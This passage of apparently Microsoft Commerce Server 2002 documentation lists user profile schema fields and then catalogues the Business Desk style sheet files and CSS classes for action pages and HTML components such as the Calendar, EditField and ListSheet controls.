user_id (join key) | GUID | T | T | General Info | User ID Supplied by the system by default. Note that Commerce Server uses “{“ and “}” to surround GUID data types.
logon_name (primary key) | Unicode String | T | T | General Info | Logon name User principal name (Commerce Server Business Desk/Partner Desk sets to e-mail by default)
account_status | Integer | F | T | Account Info | Account status Windows account status bitmask (including active/inactive)
date_created | Date Time | F | T | Profile System | Date created The default is getdate()
date_last_changed | Date Time | F | T | Profile System | Date changed The default is getdate()
date_registered | Date Time | F | T | Account Info | Date (and time) registered on the site
email_address | Unicode String | F | T | General Info | E-mail (address)
fax_extension | Unicode String | F | F | General Info | Fax (number) extension
fax_number | Unicode String | F | F | General Info | Fax number
first_name | Unicode String | F | T | General Info | First name
last_name | Unicode String | F | T | General Info | Last name
org_id | GUID | F | F | General Info | Organization ID to which the user belongs
partner_desk_role | Integer | F | F | Business Desk | PartnerDeskRoleFlags Role ID for the user
tel_extension | Unicode String | F | F | General Info | Telephone extension
tel_number | Unicode String | F | T | General Info | Telephone number
user_catalog_set | Unicode String | F | F | Account Info | User catalog set
user_id_changed_by | GUID | F | F | General Info | Changed by Person making the last change
user_security_password | Unicode String | F | F | General Info | User password To identify and authenticate the user
user_title | Unicode String | F | F | General Info | User title (For example, "Purchase Manager")
user_type | Integer | F | T | General Info | User type 0 = Anonymous 1 = Registered (default)


Style Sheet Reference

Customizable style sheets, found in files with .css extensions, allow the appearance of whole classes of visual HTML elements to be controlled from one centralized location. Commerce Server Business Desk and Dynamic Reports make extensive use of style sheet files to control the look of the content and navigation panes, to define distinct style themes, and to provide alternative language input for certain HTML controls (HTCs).

Notes

  • Extreme care should be exercised when changing styles since unwanted effects may be caused in other areas of Business Desk.
  • Some of the styles defined in these two .css files are no longer used. If they are not listed in this reference, you should assume that they are obsolete.

Since there are hundreds of styles defined in these two files, this reference provides a logical division and brief explanation of these styles.

This section contains:

  • Business Desk Styles.
  • Dynamic Report Styles.


Business Desk Styles

This section contains:

  • Business Desk Style Files. Provides information about the style sheet and ASP files that are used in the Business Desk to define styles, themes, and alternative language input for HTCs.
  • Content Pane Styles. Provides information about the styles designed for controlling the look of the content pane, as defined in the files default_bizdesk.css and hicont_bizdesk.css.
  • Navigation Pane Styles. Provides information about the styles designed for controlling the look of the navigation pane, as defined in the files default_navtree.css and hicont_navtree.css.


Business Desk Style Files

The following table describes the various files that are related to the definition and management of styles for Commerce Server Business Desk.

File name | Description
include\bizdesk.css | Included by action pages to define the styles that they use within the content pane. This file imports the file bizdesk_css.asp, which in turn will include the content pane styles for the theme that the user has chosen (or to the default theme).
include\navtree.css | Included by the file navtree.asp to define the styles that it uses within the navigation pane. This file imports the file navtree_css.asp, which in turn will include the navigation pane styles for the theme that the user has chosen (or to the default theme).
include\styles\bizdesk_css.asp | Imported by the file bizdesk.css, this file will redirect to the content pane style sheet file corresponding to the theme that the user has chosen (or to the default theme).
include\styles\navtree_css.asp | Imported by the file navtree.css, this file will redirect to the navigation pane style sheet file corresponding to the theme that the user has chosen (or to the default theme).
include\styles\default_bizdesk.css | Defines the default styles for the Commerce Server Business Desk content pane. For specific information about these styles, see Content Pane Styles.
include\styles\default_navtree.css | Defines the default styles for the Business Desk navigation pane. For specific information about these styles, see Navigation Pane Styles.
include\styles\hicont_bizdesk.css | Defines the high contrast styles for the Business Desk content pane. For specific information about these styles, see Content Pane Styles. High contrast styles are provided to improve accessibility.
include\styles\hicont_navtree.css | Defines the high contrast styles for the Business Desk navigation pane. For specific information about these styles, see Navigation Pane Styles. High contrast styles are provided to improve accessibility.
include\styles\en_widgets.css | Defines English language styles (fonts, and so on) for various HTML control (HTC) input fields.
include\styles\chs_widgets.css | Defines SimplifiedChinese language styles (fonts, and so on) for various HTML control (HTC) input fields.
include\styles\cht_widgets.css | Defines Traditional Chinese language styles (fonts, and so on) for various HTML control (HTC) input fields.
include\styles\jp_widgets.css | Defines Japanese language styles (fonts, and so on) for various HTML control (HTC) input fields.
include\styles\ko_widgets.css | Defines Korean language styles (fonts, and so on) for various HTML control (HTC) input fields.
welcome.asp | Contains the code that provides the theme choice drop-down list on the Business Desk welcome page. This file contains instructional comments about how to add new, custom themes to Business Desk.


Content Pane Styles

The customizable style sheet file (CSS), Bizdesk.css, indirectly defines the styles used within the content pane of Commerce Server Business Desk. It imports a file, bizdesk_css.asp, that contains a small amount of code that redirects to one of several other CSS files that define the actual styles used in the content pane. These latter files have names of the form "*_bizdesk.css". Two such files are included in Commerce Server 2002: default_bizdesk.css and hicont_bizdesk.css. The former defines the default content pane styles and the latter defines high contrast versions of the content panes styles that improve accessibility. New themes are created by creating additional files that conform to the naming scheme and that define the contained styles differently.

The content pane styles can be divided into two broad categories. First, those styles that apply directly to the action page being displayed in the content pane. And second, those styles that apply to one of the HTML components (HTCs) that are commonly used in the action pages.

This section provides further detail about each of these categories.

This section contains:

  • Action Page Styles. Describes the action page styles defined in the CSS files with names of the form "*_bizdesk.css".
  • HTML Component Styles. Describes the HTC styles defined in the CSS files with names of the form "*_bizdesk.css".


Action Page Styles

Action page styles can be divided into five basic categories: styles that apply to the overall action pages, title bar styles, task bar styles, status bar styles, and find pane styles. This section provides further details based on this division.

This section contains:

  • Base Action Page Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the action page.
  • Title Bar Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply to the title bar.
  • Task Bar Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the task bar.
  • Status Bar Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the status bar.
  • Find Pane Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the find pane.
  • Context Menu Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the task context menu.

Base Action Page Styles

Action pages in Commerce Server Business Desk have certain basic styles to which they conform, allowing them to be changed centrally, in the file Bizdesk.css.

These styles are defined for certain HTML elements, and also for elements associated with particular class and id attribute values. These three categories of styles are discussed separately below.

Element Styles

A
Defines style characteristics used when rendering an anchor element.
BODY
Defines base style characteristics used when rendering a body element.
BUTTON
Defines style characteristics used when rendering a button element.
DIV
Defines style characteristics used when rendering a DIV element.
FORM
Defines style characteristics used when rendering a form.
H1
Defines style characteristics used when rendering a first-level heading.
H2
Defines style characteristics used when rendering a second-level heading.
H3
Defines style characteristics used when rendering a third-level heading.
H4
Defines style characteristics used when rendering a fourth-level heading.
H5
Defines style characteristics used when rendering a fifth-level heading.
H6
Defines style characteristics used when rendering a sixth-level heading.
INPUT
Defines style characteristics used when rendering a single line text box element.
LABEL
Defines style characteristics used when rendering a label element.
OPTION
Defines style characteristics used when rendering a selection option element.
P
Defines style characteristics used when rendering a paragraph.
SELECT
Defines style characteristics used when rendering a selection element.
SPAN
Defines style characteristics used when rendering a span element.
SPAN.bdexpandicon
Defines style characteristics used when rendering a span element that has had the class "bdexpandicon" associated with it. The "bdexpandicon" class is used for elements that contain the characters "3", "4", "5", or "6" that are displayed with the Webdings font to produce left, right, up, or down arrows, respectively.
STRONG
Defines style characteristics used when rendering the content that has been designated as strong.
TD
Defines style characteristics used when rendering a normal table cell.
TEXTAREA
Defines style characteristics used when rendering a multi-line text box element.
TH
Defines style characteristics used when rendering a table heading cell.

Class Styles

.bdbutton
Defines a base style for shared characteristics used when rendering buttons in the content pane. This class should be used for any buttons displayed anywhere in Business Desk.
.bdDebug
Defines style characteristics applied to debug text when debugging is enabled by setting the global variable SHOW_DEBUG_TEXT to True in the file Global.asa.
.editPageContainer
Defines style characteristics used when rendering the main page containing element (usually a DIV) on an edit page.
.waitDisplay
Defines style characteristics used when rendering the wait display in the content pane, the ExpressionBuilder HTC, or the ListSheet HTC.
.waitDisplay SPAN
Defines style characteristics used when rendering the wait display within a SPAN element in the content pane, ExpressionBuilder HTC, or ListSheet HTC.
.webdings
Defines style characteristics used when rendering an element using the webding font. The "webdings" class is most often used for elements that contain the characters "3", "4", "5", or "6" that are displayed with the Webdings font to produce left, right, up, or down arrows, respectively.

ID Styles

#bdcontentarea
Defines style characteristics used when rendering the content area containing element (usually a DIV) on an action page, located between the task bar and the status bar.
#bdwaitdisplay IMG
Defines style characteristics used when rendering the wait display image in the content pane.

Title Bar Styles

The following styles are associated with the title bar, using the class and id attributes.

Class Styles

.bdcolorbar
Defines style characteristics used when rendering the colored title bar and status bar that distinguishes list pages from edit pages.
.bdcolorbar IMG
Defines style characteristics used to show or hide the title bar image within the colored title bar.
.bdeditmode .bdcolorbar
Defines style characteristics used when rendering the colored title bar and status bar on edit pages.
.bdeditmode .bdcolorbar IMG
Defines style characteristics used when rendering the page title bar image within the colored title bar on edit pages.

ID Styles

#bdtitlebar
Defines style characteristics used when rendering the title bar.
#bdtitletext
Defines style characteristics used when rendering the page title text within the title bar.

Task Bar Styles

The following styles are associated with the task bar, using the class and id attributes.

Class Styles

.bdtaskbutton
Defines style characteristics used when rendering a task button without text.
.bdtaskbutton IMG
Defines style characteristics used when rendering the task icon image within a task button without text.
.bdtaskbuttonmenu
Defines style characteristics used when rendering a drop-down task button without text.
.bdtaskbuttonmenu IMG
Defines style characteristics used when rendering the task icon image within a drop-down task button without text.
.bdtasktextbutton
Defines style characteristics used when rendering a task button with text.
.bdtasktextbutton IMG
Defines style characteristics used when rendering the task icon image within a task button with text.
.bdtasktextbuttonmenu
Defines style characteristics used when rendering a drop-down task button with text.
.bdtasktextbuttonmenu IMG
Defines style characteristics used when rendering the task icon image within a drop-down task button with text.
.bdtaskdisabled
Defines style characteristics used when rendering a task as disabled.
.bdtaskdisabled IMG
Defines style characteristics used when rendering the task icon image within a disabled task.
.bdtaskmenu
Defines style characteristics used when rendering a task menu.
.bdtaskmenu DIV
Defines style characteristics used when rendering a menu item within a task menu.
.bdtaskpress
Defines style characteristics used when rendering a pressed (clicked) task button.
.bdtasktable
Defines style characteristics used when rendering the table that contains the task buttons.
.bdtasktable TD
Defines style characteristics used when rendering the cells within the table that contains the task buttons.
.bdtasktextbutton
Defines style characteristics used when rendering text-based task button (when no task icon is defined).
BUTTON.bdtaskdisabled
Defines style characteristics used when rendering a task button as disabled.
BUTTON.bdtaskover
Defines style characteristics used when rendering a task button with the mouse hovering over it.

ID Styles

#bdhelparea
Defines style characteristics used when rendering the help button area, located at the right end of the task bar.
#bdlanguageselect
Defines style characteristics used when rendering the language choice select control, located to the left of the module-specific task buttons and to the right of the help button. Most modules do not add any content to this control, keeping it from appearing; catalog and shipping modules are the exceptions.
#bdtaskarea
Defines style characteristics used when rendering the task button area, located at the left end of the task bar.
#bdtaskbar
Defines style characteristics used when rendering the entire task area, including the areas associated with the id attribute values "bdtaskarea" and "bdhelparea".
#bdtaskbtnhelp
Defines style characteristics used when rendering the help button, located at the right end of the task bar.

Status Bar Styles

The following styles are associated with the status bar, using the class and id attributes.

Class Styles

.bdcolorbar
Defines style characteristics used when rendering the colored title bar and status bar that distinguishes list pages from edit pages.
.bdcolorbar IMG
Defines style characteristics used to show or hide the title bar image within the colored title bar.
.bdeditmode .bdcolorbar
Defines style characteristics used when rendering the colored title bar and status bar on edit pages.
.bdeditmode .bdcolorbar IMG
Defines style characteristics used when rendering the page title bar image within the colored title bar on edit pages.

ID Styles

#bdstatusbar
Defines style characteristics used when rendering the status bar at the bottom of the right pane.
#bdstatusbar IMG
Defines style characteristics used when rendering the animated loading image within the status bar.
#bdstatusbar NOBR
Defines style characteristics used when rendering text within a NOBR element in the status bar.

Find Pane Styles

The following styles are associated with the find pane, using the class and id attributes.

Class Styles

DIV.filtertext
Defines style characteristics used when rendering a DIV element associated with the class attribute value "filtertext". This class is used to format the "Filtered View" text displayed over a filtered list.
.findByContent
Defines style characteristics used to render the element that will be displayed in the find pane. This style should be used on an element of a list page that has the class attribute value "bdfindbycontent" and contains all the UI controls to be displayed in the find pane.

ID Styles

#bdfindbybody
Defines style characteristics used when rendering the portion of the find pane below the title. This is the container drawn by the InsertTaskBar and InsertEditTaskbar routines within which the "id=bdfindbycontent" element for a list page will be displayed.
#bdfindbyclose
Defines style characteristics used when rendering the right-hand portion of the find pane containing the close button.
#bdfindbycontent
Defines style characteristics used when rendering the find by content on a page within the find pane. The element with id "bdfindbycontent" should contain all the UI controls to be displayed in the find pane. It should also have "findByContent" set as its class attribute.
#bdfindbytitle
Defines style characteristics used when rendering the portion of the title text on the left side of the find pane title bar.
#bdfindbytitlebar
Defines style characteristics used when rendering the portion of the find pane containing the title text and the close button.
DIV#bdfindby
Defines style characteristics used when rendering the DIV element containing the entire find pane including the title bar and find content area.
#bdtaskbtnfindclose
Defines style characteristics used when rendering the find pane close button (the "x" in the upper right corner of the find pane).

Context Menu Styles

The following styles are associated with the context menu, using the class attributes.

Class Styles

.bdcontextmenu
Defines style characteristics used when rendering a task context menu for an action page.
.bdcontextmenuitem
Defines style characteristics used when rendering an item within a task context menu.
.bdcontextmenuitem U
Defines style characteristics used when rendering any underlined portions of an item within a task context menu. Specifically, the underlining is suppressed.
.bdcontextmenuitemhighlight
Defines style characteristics used when rendering a highlighted item within a task context menu.
.bdcontextmenuitemhighlight U
Defines style characteristics used when rendering any highlighted and underlined portions of an item within a task context menu. Specifically, the underlining is suppressed.


HTML Component Styles

HTML Component (HTC) styles can be divided into basic categories according to the type of HTC to which they apply. This section provides further details based on this division.

This section contains:

  • Calendar HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the Calendar HTC used in the drop-down list for the date type EditField HTC.
  • DynamicTable HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the DynamicTable HTC.
  • EditField HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the EditField HTC.
  • EditSheet HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the EditSheet HTC.
  • ExpressionBuilder HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the ExpressionBuilder HTC.
  • ListBox HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the ListBox HTC.
  • ListEditor HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the ListEditor HTC.
  • ListSheet HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the ListSheet HTC.
  • QueryBuilder HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the QueryBuilder HTC.
  • TreeView HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the TreeView HTC.

Calendar HTC Styles

The following styles are associated with the Calendar HTC, using the class attribute. Add the "calendar" class attribute value to an element to create a Calendar HTC instance.

Class Styles

.calendar
Associates an element with the DHTML behavior implemented in the file Calendar.htc. This is used to create a calendar control within the drop-down of the date type EditField HTC.
.WholeCalendar
Defines style characteristics used when rendering the containing table that makes up the Calendar HTC as a whole.
.WholeCalendar .CalTable
Defines style characteristics used when rendering the table containing the grid of days in the Calendar HTC.
.WholeCalendar .DateControls
Defines style characteristics used when rendering the table cell that contains the month and year controls at the top of the Calendar HTC.
.WholeCalendar .Day
Defines style characteristics used when rendering a day cell that is a day in the current month being displayed, and which is not currently selected.
.WholeCalendar .DaySelected
Defines style characteristics used when rendering the currently selected day cell in the Calendar HTC.
.WholeCalendar .DayTitle
Defines style characteristics used when rendering the weekday title cells at the top of the day grid in the Calendar HTC.
.WholeCalendar .OffDay
Defines style characteristics used when rendering a day cell that is either one of the last days of the previous month or one of the first days of the next month instead of a day in the month currently being displayed.

DynamicTable HTC Styles

The following styles are associated with the DynamicTable HTC, using the class attribute. Add the "dynamictable" class attribute value to an element to create a DynamicTable HTC instance.

Class Styles

.dtBtn
Defines style characteristics used when rendering the Accept, Cancel, New, and Remove buttons within the DynamicTable HTC.
.dtContainer
Defines style characteristics used when rendering the main container DIV element for the DynamicTable HTC.
.dtDataRow TD.dtCell
Defines style characteristics used when rendering a normal table cell in the data table for the DynamicTable HTC.
.dtHeaderTable TD
Defines style characteristics used when rendering a normal table cell in the header row of the DynamicTable HTC.
.dtHeaderTable TR
Defines style characteristics used when rendering the header row of the DynamicTable HTC.
.dtTableStyle
Defines style characteristics used when rendering the main table element for the DynamicTable HTC.
.dtTableStyle .dtDataRow
Defines style characteristics used when rendering a row of data in the DynamicTable HTC.
.dtTableStyle .efDisabled
Defines style characteristics used when rendering a disabled EditField HTC in the control row of the DynamicTable HTC.
.dtTableStyle .lsRowOver TD
Defines style characteristics used when rendering normal table data with the mouse hovering over it within the DynamicTable HTC.
.dtTableStyle DIV.dtContainer
Defines style characteristics used when rendering the main container DIV element within the DynamicTable HTC.
.dtTableStyle TH.dtCell
Defines style characteristics used when rendering a table heading cell in the DynamicTable HTC.
.dtTableStyle TR.lsRowSelected INPUT
Defines style characteristics used when rendering a selected single line text box in the DynamicTable HTC (an HTML INPUT element of type "password" is used to display data in a password type column so that "*" characters are displayed instead of the password text).
.dtTableStyle TR.lsRowSelected TD
Defines style characteristics used when rendering a selected data table cell.
.dynamicTable
Associates an element with the DHTML behavior implemented in the file DynamicTable.htc.
.efField
Defines common style characteristics used when rendering various types of EditField HTCs within the EditSheet and DynamicTable HTCs.
.efHide
Defines style characteristics used when hiding EditField HTC cells in the DynamicTable HTC.

EditField HTC Styles

The following styles are associated with the EditField HTC, using the class attribute. Add the "editfield" class attribute value to an element to create an EditField HTC instance. The node type in the EditField metadata used to describe a particular instance will determine which sub-control type HTC will be associated with the instance (for example, "efText", "efDate", and so on).

Class Styles

.editField
Associates an element with the DHTML behavior implemented in the file EditField.htc.
.efBoolean
Associates an element with the DHTML behavior implemented in the file efBoolean.htc.
.efBoolean INPUT
Defines style characteristics used when rendering the check box that is the child of a Boolean type EditField HTC.
.efBorderless
Defines style characteristics that eliminate any borders on the input element within and EditField HTC.
.efBrowseReadOnly
Defines style characteristics used when rendering elements within any EditField HTC that are defined to require the use of a corresponding browse button.
.efBrowseReadOnly INPUT
Defines style characteristics used when rendering single line text boxes that are defined to require the use of a corresponding browse button within any EditField HTC.
.efBrowseReadOnly TEXTAREA
Defines style characteristics used when rendering multi-line text boxes that are defined to require the use of a corresponding browse button within any EditField HTC.
.efDate
Associates an element with the DHTML behavior implemented in the file efDate.htc.
.efDatePicker
Defines style characteristics used when rendering the dropdown in the date type EditField HTC that reveals the calendar when clicked.
.efDisabled
Defines style characteristics used when rendering an EditField HTC element that has been designated as disabled.
.efDisabled INPUT
Defines style characteristics used when rendering a single line text box within an EditField HTC that has been designated as disabled.
.efDisabled LABEL
Defines style characteristics used when rendering a LABEL element within a Boolean type EditField HTC that has been designated as disabled.
.efDisabled TD DIV
Defines style characteristics used when rendering a display name within a select type EditField HTC that has been designated as disabled.
.efDisabled TEXTAREA
Defines style characteristics used when rendering a multi-line text box within a long text type EditField HTC that has been designated as disabled.
.efDownBtn
Defines style characteristics used when rendering the down button associated with the calendar and select type EditField HTCs.
.efDropDown
Defines style characteristics used when rendering the dropdown DIV element associated with the calendar and select type EditField HTCs.
.efEllipsisBtn
Defines style characteristics used when rendering the browse button that can be associated with any of the EditField HTCs.
.efField
Defines common style characteristics used when rendering various types of EditField HTCs within the EditSheet and DynamicTable HTCs.
.efHide
Defines style characteristics used when hiding EditField HTC cells in the DynamicTable HTC.
.efInvalid
Defines style characteristics used when rendering EditField HTCs that contain invalid data or are required and contain an empty value.
.efInvalid INPUT
Defines style characteristics used when rendering a single line text box that contains invalid data or is required and contain an empty value.
.efInvalid LABEL
Defines style characteristics used when rendering a label associated with a Boolean check box that contains invalid data and contains an empty value.
.efInvalid TD DIV
Defines style characteristics used when rendering a display name within a select type EditField HTC that contains invalid data or is required and contains an empty value.
.efInvalid TEXTAREA
Defines style characteristics used when rendering a multi-line text box within a long text type EditField HTC that contains invalid data or that is required and contains an empty value.
.efNumeric
Associates an element with the DHTML behavior implemented in the file efNumeric.htc.
.efOption
Defines style characteristics used when rendering options in a select type EditField HTC dropdown list.
.efOptionSelect
Defines style characteristics used when rendering selected options in a select type EditField HTC dropdown list.
.efPrompt
Defines style characteristics used when rendering prompt text within an EditField HTC.
.efReadOnly
Defines style characteristics used when rendering read-only EditField HTCs.
.efReadOnly INPUT
Defines style characteristics used when rendering a read-only single line text box in an EditField HTC.
.efReadOnly LABEL
Defines style characteristics used when rendering a label associated with a read-only Boolean check box in an EditField HTC.
.efReadOnly TD DIV
Defines style characteristics used when rendering a display name within a read-only select type EditField HTC.
.efReadOnly TEXTAREA
Defines style characteristics used when rendering a read-only multi-line text box in a long text type EditField HTC.
.efReadWrite
Defines style characteristics used when rendering read/write EditField HTCs.
.efSelect
Associates an element with the DHTML behavior implemented in the file efSelect.htc.
.efSelectScroll
Defines style characteristics used when rendering a scrollable select type EditField HTC. Select type EditField HTCs that have more than six options will use this style while ones that have fewer options will not.
.efText
Associates an element with the DHTML behavior implemented in the file efText.htc when the subtype is "short" or "password", and defined to be one line tall.
.efTextLong
Associates an element with the DHTML behavior implemented in the file efText.htc when the subtype is "long", and defined to be multiple lines tall.
.efTextLong .efPrompt
Defines style characteristics used when rendering the prompt text within a long text type EditField HTC.
.efTextLong TEXTAREA
Defines style characteristics used when rendering the multi-line text box within a long text EditField HTC.
.efTime
Associates an element with the DHTML behavior implemented in the file efTime.htc.

EditSheet HTC Styles

The following styles are associated with the EditSheet HTC, using the class attribute. Add the "editsheet" class attribute value to an element to create an EditSheet HTC instance.

Class Styles

DIV.esCollapsed
Defines style characteristics used when rendering a collapsed edit group in an EditSheet HTC.
DIV.esCollapsed DIV.esEditgroup
Defines style characteristics used when rendering an edit group within a collapsed DIV element in an EditSheet HTC.
DIV.esContainer
Defines style characteristics used when rendering the container DIV element for an edit group within an EditSheet HTC.
DIV.esEdittitle
Defines style characteristics used when rendering the title DIV element for an edit group within an EditSheet HTC.
DIV.esExpanded
Defines style characteristics used when rendering an expanded edit group in an EditSheet HTC.
DIV.esExpanded DIV.esEditgroup
Defines style characteristics used when rendering an edit group within an expanded DIV element in an EditSheet HTC.
.editSheet
Associates an element with the DHTML behavior implemented in the file EditSheet.htc.
.efField
Defines common style characteristics used when rendering various types of EditField HTCs within the EditSheet and DynamicTable HTCs.
.esEditgroup
Defines style characteristics used when rendering an edit group within an EditSheet HTC.
.esEditgroup DIV.esContainer
Defines style characteristics used when rendering a nested EditSheet HTC container DIV element within an edit group of another EditSheet HTC.
.esEditgroup DIV.esEdittitle
Defines style characteristics used when rendering a nested EditSheet HTC title DIV element within an edit group of another EditSheet HTC.
.esEditgroup SPAN.bdexpandicon
Defines style characteristics used when rendering a span containing the expand icon in a nested EditSheet HTC within an edit group of another EditSheet HTC.
.esEditgroup SPAN.esEditbar
Defines style characteristics used when rendering the span containing the title bar for a nested EditSheet HTC within an edit group of another EditSheet HTC.
.esTableStyle .esDataCell
Defines style characteristics used when rendering a normal data cell (right side of standard layout in an EditSheet HTC) within tables that have their class attribute set to "esTableStyle".
.esTableStyle .esLabelCell
Defines style characteristics used when rendering a label cell (left side of standard layout in an EditSheet HTC) within tables that have their class attribute set to "esTableStyle".
.esTableStyle .reqIcon
Defines style characteristics used when rendering the required icon table cell within tables that have their class attribute set to "esTableStyle".
SPAN.esEditbar
Defines style characteristics used when rendering the span containing the title bar for an EditSheet HTC.
TABLE.esTableStyle
Defines style characteristics used when rendering tables with which the "esTableStyle" class attribute value is associated.

ExpressionBuilder HTC Styles

The following styles are associated with the ExpressionBuilder HTC, using the class and id attributes.

Class Styles

.clsBtnDrop
Defines style characteristics used when rendering the button associated with a dropdown list in the ExpressionBuilder HTC.
.clsClauseBldr
Defines style characteristics used when rendering the QueryBuilder HTC within the ExpressionBuilder HTC.
.clsClauseInput
Defines style characteristics used when rendering a text input element within the ExpressionBuilder HTC.
.clsClauseList
Defines style characteristics used when rendering the clause list within the ExpressionBuilder HTC.
.clsClauseList TR
Defines style characteristics used when rendering a table row within the clause list in the ExpressionBuilder HTC.
.clsDropDown
Defines style characteristics used when rendering the text box associated with a dropdown list in the ExpressionBuilder HTC.
.clsExprBldr
Defines style characteristics used when rendering the ExpressionBuilder HTC.
.clsExprBldr TD
Defines style characteristics used when rendering a normal table cell within the ExpressionBuilder HTC.
.clsExprBldr TH
Defines style characteristics used when rendering a table heading cell within the ExpressionBuilder HTC.
.clsExprRef
Defines style characteristics used when rendering a nested expression reference within the ExpressionBuilder HTC.

ID Styles

#pmGroup
Used internally by the QueryBuilder HTC (and also within the ExpressionBuilder HTC). Do not modify.
#pmMarker
Used internally by the QueryBuilder HTC (and also within the ExpressionBuilder HTC). Do not modify.
#pmProfile
Used internally by the QueryBuilder HTC (and also within the ExpressionBuilder HTC). Do not modify.

ListBox HTC Styles

The following styles are associated with the ListBox HTC, using the class attribute. Add the "listbox" class attribute value to an element to create a ListBox HTC instance.

Class Styles

.lbDisabled
Defines style characteristics used when rendering a disabled ListBox HTC.
.listBox
Associates an element with the DHTML behavior implemented in the file Listbox.htc.
.listBox .lbHighlighted
Defines style characteristics used when rendering a highlighted item within a ListBox HTC.

ListEditor HTC Styles

The following styles are associated with the ListEditor HTC, using the class and id attributes. Add the "listeditor" class attribute value to an element to create a ListEditor HTC instance.

Class Styles

.listEditor
Associates an element with the DHTML behavior implemented in the file ListEditor.htc.
.listEditor .listSheetF
Defines style characteristics used when rendering a ListSheet HTC embedded within a ListEditor HTC.
.listEditor .lsNoSort
Defines style characteristics used when rendering a non-sortable column heading within a ListEditor HTC.
Defines style characteristics when rendering page scrolling button control in the lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
Defines style characteristics when rendering buttons on the page scrolling button control in the lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
.listSheetF
Associates an element with the DHTML behavior implemented in the file ListSheetF.htc. This is a stripped down version of the ListSheet that does not support hierarchical lists, paging or multi-selection. This HTC is embedded within the ListEditor HTC.
.listSheetF .lsPageButton
Defines style characteristics used when rendering page buttons within the list portion of a ListEditor HTC.
.listSheetF .lsPageText
Defines style characteristics used when rendering page number text box within the list portion of a ListEditor HTC.
.listSheetF .lsSelectButtons
Defines style characteristics used when rendering the selection buttons within the list portion of a ListEditor HTC.
.listSheetF TR
Defines style characteristics used when rendering a data table row in the ListSheet HTC used in the ListEditor HTC.

ID Styles

.listEditor #leListContainer
Defines style characteristics used when rendering the container element for the ListSheet HTC embedded within a ListEditor HTC.

ListSheet HTC Styles

The following styles are associated with the ListSheet HTC, using the class and id attributes. Add the "listsheet" class attribute value to an element to create a ListSheet HTC instance.

Class Styles

.listSheet
Associates an element with the DHTML behavior implemented in the file ListSheet.htc.

.listSheet .lsPageButton

Defines style characteristics used when rendering page buttons in a ListSheet HTC.

.listSheet .lsPageText
Defines style characteristics used when rendering page number text box in a ListSheet HTC.
Defines style characteristics when rendering rectangular area in lower part of the ListSheet HTC.
Defines style characteristics when rendering rectangular area in lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
Defines style characteristics when rendering page scrolling button control in the lower part of the ListSheet HTC.
Defines style characteristics when rendering page scrolling button control in the lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
Defines style characteristics when rendering buttons on the page scrolling button control in the lower part of the ListSheet HTC.
Defines style characteristics when rendering buttons on the page scrolling button control in the lower part of the ListSheet HTC that is embedded within a ListEditor HTC.
.listSheet .lsSelectButtons
Defines style characteristics used when rendering the selection buttons in a ListSheet HTC.
.listSheetF
Associates an element with the DHTML behavior implemented in the file ListSheetF.htc. This is a stripped down version of the ListSheet that does not support hierarchical lists, paging or multi-selection. This HTC is embedded within the ListEditor HTC.
.listSheetF .lsPageButton
Defines style characteristics used when rendering page buttons within the list portion of a ListEditor HTC.
.listSheetF .lsPageText
Defines style characteristics used when rendering page number text box within the list portion of a ListEditor HTC.
.listSheetF .lsSelectButtons
Defines style characteristics used when rendering the selection buttons within the list portion of a ListEditor HTC.
.listSheetF TR
Defines style characteristics used when rendering a data table row in the ListSheet HTC used in the ListEditor HTC.
.lsListArea
Defines style characteristics used when rendering the scrollable area containing rows of data in a ListSheet HTC.
.lsSpacer
Defines style characteristics used when rendering the column resizing controls in the heading row of a ListSheet HTC.
.lsTableStyle .lsNoSort
Defines style characteristics used when rendering a non-sortable column heading within a ListSheet HTC.
.lsTableStyle .lsRowClosed TD
Defines style characteristics used when rendering normal table cells in a closed row of a ListSheet HTC.
.lsTableStyle .lsRowOver TD.lsCell
Defines style characteristics used when rendering cells within a table row that is not selected in a ListSheet HTC when the mouse is hovering over it.
.lsTableStyle .lsRowSelected TD.lsCell
Defines style characteristics used when rendering cells within a selected table row in a ListSheet HTC.
.lsTableStyle .lsSortButton
Defines style characteristics used when rendering a column heading sort button in a ListSheet HTC.
.lsTableStyle TD.lsCell
Defines style characteristics used when rendering cells within a table row that is not selected in a ListSheet HTC.
.lsTableStyle TD.lsCell SPAN
Defines style characteristics used when rendering a data-bound span within a table cell in a ListSheet HTC.
.lsTableStyle TD.lsCell SPAN.bdexpandicon
Defines style characteristics used when rendering a expand icon span within a table cell in a ListSheet HTC. This renders as a right arrow when the group is closed and a down arrow when the group is expanded.
.lsTableStyle TD.lsObjectCell
Defines style characteristics used when rendering a sub-object table cell in the detail row of a two-tiered ListSheet HTC.
.lsTableStyle TH.lsCell
Defines style characteristics used when rendering a table heading cell within a ListSheet HTC.
.lsTableStyle THEAD TR
Defines style characteristics used when rendering a table heading row within a ListSheet HTC.
.lsTableStyle TR TR.lsRowClosed TD
Defines style characteristics used when rendering a normal table cell within a closed row in a ListSheet HTC.
.lsTableStyle TR.lsRowOver
Defines style characteristics used when rendering a table row within a ListSheet HTC when the mouse is hovering over it.
.lsTableStyle TR.lsRowOverSel TD.lsCell
Defines style characteristics used when rendering cells within a selected table row in a ListSheet HTC when the mouse is hovering over it.
.lsTableStyle TR.lsRowSelected
Defines style characteristics used when rendering a selected table row within a ListSheet HTC.
.lsTableStyle TR.lsRowSelected INPUT
